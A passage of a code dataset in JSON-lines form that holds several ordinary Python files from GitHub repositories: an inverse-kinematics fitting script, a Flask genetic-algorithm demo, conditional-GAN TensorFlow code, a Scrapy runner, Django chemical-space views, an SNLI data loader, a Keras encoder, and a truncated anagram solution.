np.deg2rad([-20.0, 20.0]),\n \"ry\": np.deg2rad([-90.0, 90.0]),\n \"rz\": np.deg2rad([-20.0, 20.0]),\n },\n ).add_bone(\n \"knee.L\",\n \"foot.L\",\n tip_to_base=utils.make_tip_to_base(1.7149, \"x,y,z\"),\n dofs={\"rz\": np.deg2rad([0.0, 90.0])},\n ).add_bone(\n \"torso\",\n \"hip.R\",\n tip_to_base=utils.make_tip_to_base(1.1542, \"y,-x,z\"),\n ).add_bone(\n \"hip.R\",\n \"knee.R\",\n tip_to_base=utils.make_tip_to_base(2.2245, \"x,-z,y\"),\n dofs={\n \"rx\": np.deg2rad([-20.0, 20.0]),\n \"ry\": np.deg2rad([-90.0, 90.0]),\n \"rz\": np.deg2rad([-20.0, 20.0]),\n },\n ).add_bone(\n \"knee.R\",\n \"foot.R\",\n tip_to_base=utils.make_tip_to_base(1.7149, \"x,y,z\"),\n dofs={\"rz\": np.deg2rad([-90.0, 0.0])},\n ).add_bone(\n \"root\",\n \"torso\",\n tip_to_base=torch.eye(4),\n # dofs={\"rx\", \"ry\", \"rz\", \"tx\", \"ty\", \"tz\"},\n dofs={\"rx\", \"ry\", \"rz\"},\n )\n\n body = b.finalize(\n [\n \"head\",\n \"neck\",\n \"shoulder.R\",\n \"elbow.R\",\n \"hand.R\",\n \"shoulder.L\",\n \"elbow.L\",\n \"hand.L\",\n \"hip.R\",\n \"knee.R\",\n \"foot.R\",\n \"hip.L\",\n \"knee.L\",\n \"foot.L\",\n \"torso\",\n \"chest\",\n \"root\",\n ]\n )\n\n return body\n\n\ndef main():\n import argparse\n from pathlib import Path\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"input\", type=Path, help=\"Pickled 3D joint predictions (NxMx3)\")\n parser.add_argument(\"-body\", type=Path, help=\"Kinematic description file\")\n parser.add_argument(\"-input-fps\", type=int, default=30, help=\"Input FPS\")\n parser.add_argument(\"-input-step\", type=int, default=1, help=\"Fit every nth frame\")\n parser.add_argument(\n \"-scale\", type=float, help=\"Scale anchors of first frame to this\"\n )\n parser.add_argument(\n \"-max-loss\", type=float, default=0.3, help=\"max loss to accept in fitting\"\n )\n parser.add_argument(\n \"-crit\",\n type=str,\n choices=[\"euclidean\", \"parallel\"],\n default=\"parallel\",\n help=\"Loss criterium to apply\",\n )\n parser.add_argument(\"-output\", type=Path, default=Path(\"./tmp/human.bvh\"))\n parser.add_argument(\"-show\", type=int, default=1, help=\"visualize every nth frame\")\n\n args = parser.parse_args()\n assert args.input.is_file()\n\n if args.body is not None:\n assert args.body.is_file()\n body = io.load_json(args.body)\n else:\n body = create_human_body()\n N = body.graph.number_of_nodes()\n frame_data = pickle.load(open(r\"C:\\dev\\bone-solve-ik\\etc\\frames_raw.pkl\", \"rb\"))\n if args.scale is not None:\n scale_factor = utils.find_scale_factor(frame_data[0]) * args.scale\n else:\n scale_factor = 1.0\n\n poses = [body.fk()] # important to start from rest-pose for bvh export.\n\n solver = solvers.IKSolver(body)\n if args.crit == \"parallel\":\n crit = criteria.ParallelSegmentCriterium(torch.zeros((N, 3)), torch.ones(N))\n else:\n crit = criteria.EuclideanDistanceCriterium(torch.zeros((N, 3)), torch.ones(N))\n crit.weights[-1] = 0 # root joint never has a corresponding anchor.\n\n axes_ranges = [[-20, 20], [-20, 20], [-2, 5]]\n fig, ax = draw.create_figure3d(axes_ranges=axes_ranges)\n prev_pose = body.fk()\n for i in tqdm(range(0, len(frame_data), args.input_step)):\n crit.anchors[: N - 1] = torch.from_numpy(frame_data[i]).float() * scale_factor\n torso = crit.anchors[-3].clone()\n crit.anchors[: N - 1] -= torso # torso at 0/0/0\n loss = solver.solve(crit, history_size=10, max_iter=10)\n if loss > args.max_loss:\n # retry from rest-pose\n body.reset_()\n loss = solver.solve(crit)\n if loss < args.max_loss:\n delta = body[\"root\", \"torso\"].get_delta()\n body[\"root\", \"torso\"].set_delta(\n [\n delta[0],\n delta[1],\n delta[2],\n torso[0],\n torso[1],\n torso[2],\n ]\n )\n new_pose = body.fk()\n poses.append(new_pose)\n prev_pose = new_pose\n else:\n body.reset_()\n poses.append(prev_pose) # Do not skip any frames, unhandled by BVH\n crit.anchors[: N - 1] += torso\n if (i // args.input_step) % args.show == 0:\n ax.cla()\n ax.set_xlim(*axes_ranges[0])\n ax.set_ylim(*axes_ranges[1])\n ax.set_zlim(*axes_ranges[2])\n draw.draw_kinematics(\n ax,\n body=body,\n fk=body.fk(),\n anchors=crit.anchors,\n draw_vertex_labels=False,\n draw_local_frames=False,\n draw_root=False,\n )\n # fig.savefig(f\"tmp/{i:05d}.png\", bbox_inches=\"tight\")\n plt.show(block=False)\n plt.pause(0.01)\n\n bvh.export_bvh(\n path=args.output, body=body, poses=poses, fps=(args.input_fps / args.input_step)\n )\n\n\nif __name__ == \"__main__\":\n main()\n # makefile()\n","repo_name":"cheind/bone-solve-ik","sub_path":"boneik/examples/fit.py","file_name":"fit.py","file_ext":"py","file_size_in_byte":7382,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"74227311949","text":"from flask import Flask, request, render_template\n\nimport random\nimport string\n\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef index():\n return render_template('index.html')\n\n\n@app.route('/', methods=['POST'])\ndef index_post():\n target = request.form['target']\n population = len(target)\n return find_fittest(target, population)\n\n\ndef get_random():\n return random.choice(string.ascii_uppercase + ' ')\n\n\n# 1. Start with a random string of characters the same length as the target\ndef get_individuals(random_characters, population):\n return ''.join(random_characters for _ in range(population))\n\n\n# 2. Make 100 copies of the string (reproduce)\ndef reproduce(individuals):\n return [individuals] * 100\n\n\n# 3. For each character in each of the 100 copies, with a probability of 5%, replace (mutate) the character with a new random character.\ndef mutate(individuals):\n new_individual = ''\n for c in individuals:\n if random.random() < 0.05:\n new_individual += ''.join(get_random())\n else:\n new_individual += c\n return new_individual\n\n\n# 4. Compare each new string with the target string, and give each a score (the number of letters in the string that are correct and in the correct position).\ndef fitness_score(individuals, target, population):\n fitness_score = 0\n for i in range(population):\n if individuals[i] == target[i]:\n fitness_score += 1\n return fitness_score\n\n\n# 5. If any of the new strings has a perfect score (target length), halt. Otherwise, take the highest scoring string, and go to step 2.\ndef find_fittest(target, population):\n \"\"\"\n While the score of new random characters doesn't match the target character length:\n\n 1. Create 100 empty strings and None scores\n 2. For each sequence in 100, assign empty copies at that sequence to mutated individuals and empty scores to the score of mutated individuals\n 3. Check the highest score (target char length) and append the individuals at this best score's index to the empty array\n 4. Increment loop index to see how many iterations it took to match the target\n \"\"\"\n fittest = []\n generation = 0\n new_individuals = get_individuals(get_random(), population)\n while fitness_score(new_individuals, target, population) != population:\n individual_list = reproduce('')\n fitness_score_list = reproduce(None)\n for i in range(100):\n individual_list[i] = mutate(new_individuals)\n fitness_score_list[i] = fitness_score(individual_list[i], target, population)\n high_score = max(fitness_score_list)\n new_individuals = individual_list[fitness_score_list.index(high_score)]\n fittest.append(new_individuals)\n generation += 1\n return render_template('index.html', output='
'.join(fittest), index=generation)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"erinmyoung/hackery","sub_path":"programming-problems/dawkins-weasel/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31212376160","text":"# https://github.com/zhangqianhui/Conditional-GAN\nimport tensorflow\nfrom tensorflow.contrib.layers.python.layers import variance_scaling_initializer, batch_norm\nfrom tensorflow.contrib.layers.python.layers import xavier_initializer\nimport numpy\nimport keras\nimport cv2\nimport skimage\nimport skimage.io\nimport matplotlib.pyplot as plt\n\n\n\ndef lrelu(x, alpha=2e-1):\n return tensorflow.maximum(x, alpha * x)\n\ndef conv2d(input_, output_dim, k_h=3, k_w=3, d_h=2, d_w=2, name='conv2d'):\n with tensorflow.variable_scope(name):\n w = tensorflow.get_variable('w', [k_h, k_w, input_.get_shape()[-1], output_dim], initializer=variance_scaling_initializer())\n conv = tensorflow.nn.conv2d(input_, w, strides=[1, d_h, d_w, 1], padding='SAME')\n b = tensorflow.get_variable('b', [output_dim], initializer=tensorflow.constant_initializer(0.0))\n conv = tensorflow.reshape(tensorflow.nn.bias_add(conv, b), conv.get_shape())\n return conv, w\n\n\ndef de_conv2d(input_, output_shape, k_h=3, k_w=3, d_h=2, d_w=2, stddev=2e-2, name='deconv2d', with_w=False, initializer=variance_scaling_initializer()):\n with tensorflow.variable_scope(name):\n w = tensorflow.get_variable('w', [k_h, k_w, output_shape[-1], input_.get_shape()[-1]], initializer=initializer)\n deconv = tensorflow.nn.conv2d_transpose(input_, w, output_shape=output_shape, strides=[1, d_h, d_w, 1])\n b = tensorflow.get_variable('b', [output_shape[-1]], initializer=tensorflow.constant_initializer(0.0))\n deconv = tensorflow.reshape(tensorflow.nn.bias_add(deconv, b), deconv.get_shape())\n if with_w:\n return deconv, w, b\n else:\n return deconv\n\n\ndef fully_connected(input_, output_size, scope=None, with_w=False, initializer=variance_scaling_initializer()):\n shape = input_.get_shape().as_list()\n with tensorflow.variable_scope(scope or 'Linear'):\n matrix = tensorflow.get_variable('Matrix', [shape[1], output_size], tensorflow.float32, initializer=initializer)\n b = tensorflow.get_variable('b', [output_size], initializer=tensorflow.constant_initializer(0.0))\n if with_w:\n return tensorflow.matmul(input_, matrix) + b, matrix, b\n else:\n return tensorflow.matmul(input_, matrix) + b\n\n\ndef conv_cond_concat(x, y):\n x_shapes = x.get_shape()\n y_shapes = y.get_shape()\n return tensorflow.concat([x, y * tensorflow.ones([x_shapes[0], x_shapes[1], x_shapes[2], y_shapes[3]])], 3)\n\n\ndef batch_normal(input_, scope='scope', reuse=False):\n return batch_norm(input_, epsilon=1e-5, decay=9e-1, scale=True, scope=scope, reuse=reuse, updates_collections=None)\n\n\ndef sample_label():\n num = 64\n label_vector = numpy.zeros((num, 10), dtype=numpy.float32)\n for i in range(0, num):\n label_vector[i, int(i/8)] = 1.0\n return label_vector\n\n\ndef merge(images, size):\n h, w = images.shape[1], images.shape[2]\n img = numpy.zeros(h * size[0], w * size[1], 3)\n for idx, image in enumerate(images):\n i = idx % size[1]\n j = idx // size[1]\n img[j*h: j*h + h, i*w: i*w + w, :] = image\n return img\n\n\ndef save_image(images, size, path):\n skimage.io.imsave(path, merge(images, size))\n\n\ndef inverse_transform(image):\n return (image + 1.0) / 2.0\n\n\ndef save_images(images, size, image_path):\n return save_image(inverse_transform(images), size, image_path)\n\n\ndef vis_square(vis_path, data, type):\n data = (data - data.min()) / (data.max() - data.min())\n n = int(numpy.ceil(numpy.sqrt(data.shape[0])))\n padding = (((0, n ** 2 - data.shape[0]),\n (0, 1), (0, 1)) + ((0, 0),) * (data.ndim - 3))\n data = numpy.pad(data, padding, mode='constant', constant_values=1)\n data = data.reshape((n, n) + data.shape[1:]).transpose((0, 2, 1, 3) + tuple(range(4, data.ndim + 1)))\n data = data.reshape((n * data.shape[1], n * data.shape[3]) + data.shape[4:])\n plt.imshow(data[:, :, 0])\n plt.axis('off')\n if type:\n plt.savefig('./{}/weights.png'.format(vis_path), format='png')\n else:\n plt.savefie('./{}/activation.png'.format(vis_path), format='png')\n\n\nclass CGAN(object):\n def __init__(self, data_ob, sample_dir, output_size, learn_rate, batch_size, z_dim, y_dim, log_dir, model_path, visua_path):\n self.data_ob = data_ob\n self.sample_dir = sample_dir\n self.output_size = output_size\n self.learn_rate = learn_rate\n self.batch_size = batch_size\n self.z_dim = z_dim\n self.y_dim = y_dim\n self.log_dir = log_dir\n self.model_path = model_path\n self.visua_path = visua_path\n self.channels = self.data_ob.shape[2]\n self.images = tensorflow.placeholder(tensorflow.float32, [batch_size, self.output_size, self.output_size, self.channels])\n self.z = tensorflow.placeholder(tensorflow.float32, [self.batch_size, self.z_dim])\n self.y = tensorflow.placeholder(tensorflow.float32, [self.batch_size, self.y_dim])\n\n def gern_net(self, z, y):\n with tensorflow.variable_scope('generator') as scope:\n yb = tensorflow.reshape(y, shape=[self.batch_size, 1, 1, self.y_dim])\n z = tensorflow.concat([z, y], 1)\n c1, c2 = int(self.output_size / 4), int(self.output_size / 2)\n d1 = tensorflow.nn.relu(batch_normal(fully_connected(z, output_size=1024, scope='gen_fully1'), scope='gen_bn1'))\n d1 = tensorflow.concat([d1, y], 1)\n d2 = tensorflow.nn.relu(batch_normal(fully_connected(d1, output_size=7*7*2*64, scope='gen_fully2'), scope='gen_bn2'))\n d2 = tensorflow.reshape(d2, [self.batch_size, c1, c1, 64 * 2])\n d2 = conv_cond_concat(d2, yb)\n d3 = tensorflow.nn.relu(batch_normal(de_conv2d(d2, output_shape=[self.batch_size, c2, c2, 128], name='gen_deconv1'), scope='gen_bn3'))\n d3 = conv_cond_concat(d3, yb)\n d4 = de_conv2d(d3, output_shape=[self.batch_size, self.output_size, self.output_size, self.channels], name='gen_deconv2', initializer=xavier_initializer())\n return tensorflow.nn.sigmoid(d4)\n\n def dis_net(self, images, y, reuse=False):\n with tensorflow.variable_scope('discriminator') as scope:\n if reuse == True:\n scope.reuse_variables()\n\n yb = tensorflow.reshape(y, shape=[self.batch_size, 1, 1, self.y_dim])\n concat_data = conv_cond_concat(images, yb)\n conv1, w1 = conv2d(concat_data, output_dim=10, name='dis_conv1')\n tensorflow.add_to_collection('weight_1', w1)\n conv1 = lrelu(conv1)\n conv1 = conv_cond_concat(conv1, yb)\n tensorflow.add_to_collection('ac_1', conv1)\n conv2, w2 = conv2d(conv1, output_dim=64, name='dis_conv2')\n tensorflow.add_to_collection('weight_2', w2)\n conv2 = lrelu(batch_normal(conv2, scope='dis_bn1'))\n tensorflow.add_to_collection('ac_2', conv2)\n f1 = lrelu(batch_normal(fully_connected(conv2, output_size=1024, scope='dis_fully1'), scope='dis_bn2', reuse=reuse))\n f1 = tensorflow.concat([f1, y], 1)\n out = fully_connected(f1, output_size=1, scope='dis_fully2', initializer=xavier_initializer())\n return tensorflow.nn.sigmoid(out), out\n\n def test(self):\n init = tensorflow.initialize_all_variables()\n with tensorflow.Session() as sess:\n sess.run(init)\n self.saver.restore(sess, self.model_path)\n sample_z = numpy.random.uniform(1, -1, size=[self.batch_size, self.z_dim])\n output = sess.run(self.fake_images, feed_dict={self.z: sample_z, self.y: sample_label()})\n save_images(output, [8, 8], './{}/test{:02d}_{:04d}.png'.format(self.sample_dir, 0, 0))\n image = cv2.imread('./{}/test{:02d}_{:04d}.png'.format(self.sample_dir, 0, 0), 0)\n cv2.imshow('test', image)\n cv2.waitKey(-1)\n print('Test Finish!')\n\n def visual(self):\n init = tensorflow.initialize_all_variables()\n with tensorflow.Session() as sess:\n sess.run(init)\n self.saver.restore(sess, self.model_path)\n real_batch_array, real_labels = self.data_ob.getNext_batch(0)\n batch_z = numpy.random.uniform(-1, 1, size=[self.batch_size, self.z_dim])\n conv_weights = sess.run([tensorflow.get_collection('weight_2')])\n vis_square(self.visua_path, conv_weights[0][0].transpose(3, 0, 1, 2), type=1)\n ac = sess.run([tensorflow.get_collection('ac_2')],\n feed_dict={self.images: real_batch_array[:64], self.z: batch_z, self.y: sample_label()})\n vis_square(self.visua_path, ac[0][0].transpose(3, 1, 2, 0), type=0)\n print('The visualization finish!')\n\n def build_model(self):\n self.fake_images = self.gern_net(self.z, self.y)\n G_image = tensorflow.summary.image('G_out', self.fake_images)\n D_pro, D_logits = self.dis_net(self.images, self.y, False)\n D_pro_sum = tensorflow.summary.histogram('D_pro', D_pro)\n G_pro, G_logits = self.dis_net(self.fake_images, self.y, True)\n G_pro_sum = tensorflow.summary.histogram('G_pro', G_pro)\n\n D_fake_loss = tensorflow.reduce_mean(tensorflow.nn.sigmoid_cross_entropy_with_logits(labels=tensorflow.zeros_like(G_pro), logits=G_logits))\n D_real_loss = tensorflow.reduce_mean(tensorflow.nn.sigmoid_cross_entropy_with_logits(labels=tensorflow.ones_like(D_pro), logits=D_logits))\n G_fake_loss = tensorflow.reduce_mean(tensorflow.nn.sigmoid_cross_entropy_with_logits(labels=tensorflow.ones_like(G_pro), logits=G_logits))\n self.D_loss = D_real_loss + D_fake_loss\n self.G_loss = G_fake_loss\n loss_sum = tensorflow.summary.scalar('D_loss', self.D_loss)\n G_loss_sum = tensorflow.summary.scalar('G_loss', self.G_loss)\n self.merged_summary_op_d = tensorflow.summary.merge([loss_sum, D_pro_sum])\n self.merged_summary_op_g = tensorflow.summary.merge([G_loss_sum, G_pro_sum, G_image])\n t_vars = tensorflow.trainable_variables()\n self.d_var = [var for var in t_vars if 'dis' in var.name]\n self.g_var = [var for var in t_vars if 'gen' in var.name]\n self.saver = tensorflow.train.Saver()\n\n def train(self, epochs=20):\n opti_D = tensorflow.train.AdamOptimizer(learning_rate=self.learn_rate, beta1=5e-1).minimize(self.D_loss, var_list=self.d_var)\n opti_G = tensorflow.train.AdamOptimizer(learning_rate=self.learn_rate, beta1=5e-1).minimize(self.G_loss, var_list=self.g_var)\n init = tensorflow.global_variables_initializer()\n config = tensorflow.ConfigProto()\n config.gpu_options.allow_growth = True\n with tensorflow.Session(config=config) as sess:\n sess.run(init)\n summary_writer = tensorflow.summary.FileWriter(self.log_dir, graph=sess.graph)\n step = 0\n while step < epochs:\n real_batch_array, real_labels = self.data_ob.getNext_batch(step)\n batch_z = numpy.random.uniform(-1, 1, size=[self.batch_size, self.z_dim])\n _, summary_str = sess.run([opti_D, self.merged_summary_op_d],\n feed_dict={self.images: real_batch_array, self.z: batch_z, self.y: real_labels})\n summary_writer.add_summary(summary_str, step)\n _, summary_str = sess.run([opti_G, self.merged_summary_op_g],\n feed_dict={self.z: batch_z, self.y: real_labels})\n if step % 2 == 0:\n D_loss = sess.run(self.D_loss, feed_dict={self.images: real_batch_array, self.z: batch_z, self.y: real_labels})\n fake_loss = sess.run(self.G_loss, feed_dict={self.z: batch_z, self.y: real_labels})\n print(\"Step %d: D: loss = %.7f G: loss=%.7f\" % (step, D_loss, fake_loss))\n\n if numpy.mod(step, 50) == 1 and step != 0:\n sample_images = sess.run(self.fake_images, feed_dict={self.z: batch_z, self.y: sample_label()})\n save_images(sample_images, [8, 8], './{}/train_{:04d}.png'.format(self.sample_dir, step))\n self.saver.save(sess, self.model_path)\n step = step + 1\n save_path = self.saver.save(sess, self.model_path)\n print('Model saved in file: %s' % save_path)\n\n\n","repo_name":"MustafaHalimehHH/DeepLearning","sub_path":"Examples/example_23.py","file_name":"example_23.py","file_ext":"py","file_size_in_byte":12407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"26289202720","text":"from scrapy.crawler import CrawlerProcess\nfrom scrapy.utils.project import get_project_settings\n\nprocess = CrawlerProcess(get_project_settings())\n\nfor spider_name in process.spiders.list():\n print (\"Running spider %s\" % (spider_name))\n process.crawl(spider_name)\n\nprocess.start()","repo_name":"coldperformer/web-scrapers","sub_path":"worldometers/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27992263154","text":"import json\nimport tempfile\nimport heapq\n\nfrom django.db import transaction\nfrom django.http import JsonResponse, HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404, render\nfrom django.urls import reverse\n\nfrom rdkit import Chem\nfrom rdkit.Chem.rdmolfiles import SDMolSupplier\nfrom rdkit.Chem.Draw import rdMolDraw2D\nfrom rdkit.Chem.rdmolfiles import MolToMolBlock, MolFromSmiles\n\nfrom cspace.forms import UploadSDFForm, CreateChemicalSetForm, \\\n CreateFacetJobForm\nfrom cspace.utils import MethodSplitView, load_mol, get_distance_func, \\\n big_qs_iterator, DuckChem\nfrom cspace.models import *\n\ndef tag_index(request):\n tags = ChemicalTag.objects.all()\n\n return render(request, 'cspace/tag-index.html', {\n 'tags': tags\n })\n\ndef chemical_set_index(request):\n sets = ChemicalSet.objects.all()\n\n return render(request, 'cspace/chemical-set-index.html', {\n 'sets': sets\n })\n\ndef facet_index(request):\n facets = ChemicalSetFacet.objects.all()\n\n return render(request, 'cspace/facet-index.html', {\n 'facets': facets\n })\n\nclass ChemicalSetDetail(MethodSplitView):\n def GET(self, request, sid):\n chem_set = get_object_or_404(ChemicalSet, pk=sid)\n create_facet_form = CreateFacetJobForm(\n initial={'chemical_set': chem_set}\n )\n\n return render(request, 'cspace/chemical-set-details.html', {\n 'chem_set': chem_set,\n 'create_facet_form': create_facet_form,\n 'jobs': chem_set.computefacetjob_set.filter(status__lt=2)\n })\n\n def POST(self, request, sid):\n chem_set = get_object_or_404(ChemicalSet, pk=sid)\n create_facet_form = CreateFacetJobForm(request.POST)\n\n if create_facet_form.is_valid():\n job = ComputeFacetJob.objects.create(\n chemical_set=create_facet_form.cleaned_data['chemical_set'],\n sim_measure=create_facet_form.cleaned_data['sim_measure'],\n embedding=create_facet_form.cleaned_data['embedding'],\n )\n\n return HttpResponseRedirect(reverse('chemical-set', args=(sid,)))\n else:\n return render(request, 'cspace/chemical-set-details.html', {\n 'chem_set': chem_set,\n 'create_facet_form': create_facet_form,\n 'jobs': chem_set.computefacetjob_set.filter(status__lt=2)\n })\n\ndef get_facet_data(request, fid):\n facet = get_object_or_404(ChemicalSetFacet, id=fid)\n\n points = []\n all_tags = set(facet.chemical_set.tags.all())\n max_dist_from_origin = 0\n\n echems = (EmbeddedChemical.objects\n .filter(facet=facet)\n .select_related('chemical'))\n\n for echem in echems:\n tags = all_tags & set(echem.chemical.tags.all())\n chem = echem.chemical\n position = json.loads(echem.position)\n\n dist_from_origin = sum([c*c for c in position])\n max_dist_from_origin = max(dist_from_origin, max_dist_from_origin)\n\n points.append({\n 'name': chem.chem_name,\n 'chem_id': chem.pk,\n 'mol_weight': chem.mol_weight,\n 'tpsa': chem.tpsa,\n 'smiles': chem.smiles,\n 'pos': position,\n 'tags': [tag.name for tag in tags],\n 'pubchem_cid': chem.props.get('PUBCHEM_COMPOUND_CID', None),\n 'formula': chem.props.get('PUBCHEM_MOLECULAR_FORMULA', None),\n 'svg_url': reverse('draw-chem', args=(chem.pk,))\n })\n\n return JsonResponse({\n 'facet': {\n 'id': facet.pk,\n 'name': facet.name,\n 'simMeasure': facet.sim_measure,\n 'embedding': facet.embedding,\n 'maxDistFromOrigin': max_dist_from_origin ** 0.5,\n 'tags': sorted([tag.name for tag in all_tags])\n },\n 'points': points,\n })\n\ndef draw_chemical(request, chem_id):\n chem = get_object_or_404(Chemical, id=chem_id)\n mol = chem.get_mol()\n mc = Chem.Mol(mol.ToBinary())\n\n try:\n Chem.Kekulize(mc)\n except:\n mc = Chem.Mol(mol.ToBinary())\n\n if not mc.GetNumConformers():\n Chem.rdDepictor.Compute2DCoords(mc)\n\n drawer = rdMolDraw2D.MolDraw2DSVG(300,200)\n drawer.DrawMolecule(mc)\n drawer.FinishDrawing()\n svg = drawer.GetDrawingText().replace('svg:','')\n\n return JsonResponse({'data' : svg})\n\ndef facet_page(request, fid):\n facet = get_object_or_404(ChemicalSetFacet, id=fid)\n\n return render(request, 'cspace/space-viewer.html', {\n 'facet_id': facet.pk\n })\n\nclass CreateChemicalSet(MethodSplitView):\n def GET(self, request):\n return render(request, 'cspace/create-chemical-set.html', {\n 'form': CreateChemicalSetForm()\n })\n\n @transaction.atomic\n def POST(self, request):\n form = CreateChemicalSetForm(request.POST)\n\n if form.is_valid():\n tags = form.cleaned_data['tags']\n\n chem_set = ChemicalSet.objects.create(\n name=form.cleaned_data['name'],\n description=form.cleaned_data['description']\n )\n chem_set.save()\n\n chems = Chemical.objects.filter(tags__in=tags)\n chem_set.chemical_set.set(chems)\n chem_set.tags.set(tags)\n\n return HttpResponseRedirect(reverse('chemical-set-index'))\n\n\nclass UploadSDF(MethodSplitView):\n def GET(self, request):\n return render(request, 'cspace/upload-sdf.html', {\n 'form': UploadSDFForm()\n })\n\n @transaction.atomic\n def POST(self, request):\n form = UploadSDFForm(request.POST, request.FILES)\n\n if form.is_valid():\n upload = request.FILES['sdf_file']\n tf = tempfile.NamedTemporaryFile()\n for chunk in upload.chunks():\n tf.write(chunk)\n\n tf.flush()\n tf.seek(0)\n molecules = SDMolSupplier(tf.name)\n\n tag, created = ChemicalTag.objects.get_or_create(\n name=form.cleaned_data['tag'])\n\n loaded = 0\n skipped = 0\n for mol in molecules:\n result = load_mol(mol, tag)\n\n if result == -1:\n skipped += 1\n else:\n loaded += 1\n\n return HttpResponseRedirect(reverse('tag-index'))\n\n else:\n return render(request, 'cspace/upload-sdf.html', {\n 'form': form\n })\n\ndef edit_smiles(request):\n smiles = request.GET.get('SMILES', '')\n mol = MolFromSmiles(smiles)\n\n return render(request, 'cspace/chemical-editor.html', {\n 'molblock': MolToMolBlock(mol)\n })\n\ndef sim_search(request, fid):\n facet = get_object_or_404(ChemicalSetFacet, pk=fid)\n chem_set = facet.chemical_set\n\n smiles = request.GET.get('SMILES', None)\n if not smiles:\n return JsonResponse({\n 'status': 'FAILED'\n }, status=400)\n\n make_representation, distf = get_distance_func(facet.sim_measure)\n qrep = make_representation(DuckChem(smiles))\n\n sim_heap = []\n\n i = 0\n for chem in big_qs_iterator(chem_set.chemical_set.all(), batch_size=200):\n rep = make_representation(chem)\n sim = 1.0 - distf(qrep, rep)\n if i < 10:\n i += 1\n heapq.heappush(sim_heap, (sim, chem.pk, chem))\n else:\n heapq.heappushpop(sim_heap, (sim, chem.pk, chem))\n\n sim_heap.sort(reverse=True)\n\n return JsonResponse({\n 'qrep': qrep.ToBase64(),\n 'query': smiles,\n 'status': 'OK',\n 'results': dict(((pk, sim) for sim, pk, _ in sim_heap)),\n })\n\n\n","repo_name":"Lanny/cspace","sub_path":"cspace/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"12042575271","text":"from torchtext.legacy.data import Iterator, BucketIterator\r\nfrom torchtext.legacy import data\r\nimport torch\r\n\r\ndef data_loader(batch_size=32, device=\"cuda\", data_path='data', vectors=None):\r\n TEXT = data.Field(batch_first=True, include_lengths=True, lower=True)\r\n LABEL = data.LabelField(batch_first=True)\r\n TREE = None\r\n\r\n fields = {'sentence1': ('premise', TEXT),\r\n 'sentence2': ('hypothesis', TEXT),\r\n 'gold_label': ('label', LABEL)}\r\n\r\n train_data, dev_data, test_data = data.TabularDataset.splits(\r\n path = data_path,\r\n train='snli_1.0_train.jsonl',\r\n validation='snli_1.0_dev.jsonl',\r\n test='snli_1.0_test.jsonl',\r\n format ='json',\r\n fields = fields,\r\n filter_pred=lambda ex: ex.label != '-'\r\n )\r\n TEXT.build_vocab(train_data, vectors=vectors, unk_init=torch.Tensor.normal_)\r\n LABEL.build_vocab(dev_data)\r\n train_iter, dev_iter = BucketIterator.splits(\r\n (train_data, dev_data),\r\n batch_sizes=(batch_size, batch_size),\r\n device=device,\r\n sort_key=lambda x: len(x.premise) + len(x.hypothesis),\r\n sort_within_batch=True,\r\n repeat=False,\r\n shuffle=True\r\n )\r\n\r\n test_iter = Iterator(\r\n test_data,\r\n batch_size=batch_size,\r\n device=device,\r\n sort=False,\r\n sort_within_batch=False,\r\n repeat=False,\r\n shuffle=False\r\n )\r\n\r\n return train_iter, dev_iter, test_iter, TEXT, LABEL","repo_name":"Raki-j/nlp-beginner-Raki","sub_path":"task3 基于注意力机制的文本匹配/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"82"} +{"seq_id":"70483084748","text":"# encoder.py: Encoder network\n#\n# (C) 2019, Daniel Mouritzen\n\nimport functools\nfrom typing import Iterable, Mapping, Optional, Type, Union, cast\n\nimport gin\nimport tensorflow as tf\n\nfrom project.util.tf import auto_shape\n\n\n@gin.configurable(whitelist=['activation', 'batch_norm'])\nclass Encoder(auto_shape.Layer):\n \"\"\"Encoder with architecture from World Models (D. Ha and J. Schmidhuber)\"\"\"\n def __init__(self,\n image_input: str = 'image',\n vector_inputs: Optional[Iterable[str]] = None,\n activation: Union[None, str, Type[tf.keras.layers.Layer]] = auto_shape.ReLU,\n batch_norm: bool = False,\n name: str = 'image_encoder') -> None:\n super().__init__(name=name)\n self._image_input = image_input\n self._vector_inputs = [] if vector_inputs is None else list(vector_inputs)\n kwargs = dict(kernel_size=4, strides=2)\n filter_counts = [32, 64, 128, 256]\n layers = []\n for i, filters in enumerate(filter_counts):\n layers.append(auto_shape.Conv2D(filters=filters, **kwargs, name=f'{name}_conv_{i}'))\n if activation is not None:\n if isinstance(activation, str):\n activation = cast(Type[tf.keras.layers.Layer], functools.partial(auto_shape.Activation, activation))\n layers.append(activation(name=f'{name}_activation_{i}'))\n if batch_norm:\n layers.append(auto_shape.BatchNormalization())\n layers.append(auto_shape.Flatten(name=f'{name}_flatten'))\n self._image_enc = auto_shape.Sequential(layers, name=f'{name}_sequential')\n self._concat = auto_shape.Concatenate(axis=-1)\n\n def call(self, inputs: Mapping[str, tf.Tensor]) -> tf.Tensor:\n vectors = [inputs[key] for key in self._vector_inputs]\n return self._concat([self._image_enc(inputs[self._image_input])] + vectors)\n","repo_name":"danmou/MerCur-Re","sub_path":"project/networks/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"} +{"seq_id":"37771395084","text":"\nclass Solution:\n def isAnagram(self, s: str, t: str) -> bool:\n # if len(s) != len(t):\n # return False\n # hashmap = dict()\n # for i in s:\n # if i not in hashmap.keys():\n # hashmap[i] = 1\n # else:\n # hashmap[i] = hashmap[i] + 1\n # for j in t:\n # if j not in hashmap.keys():\n # return False\n # if 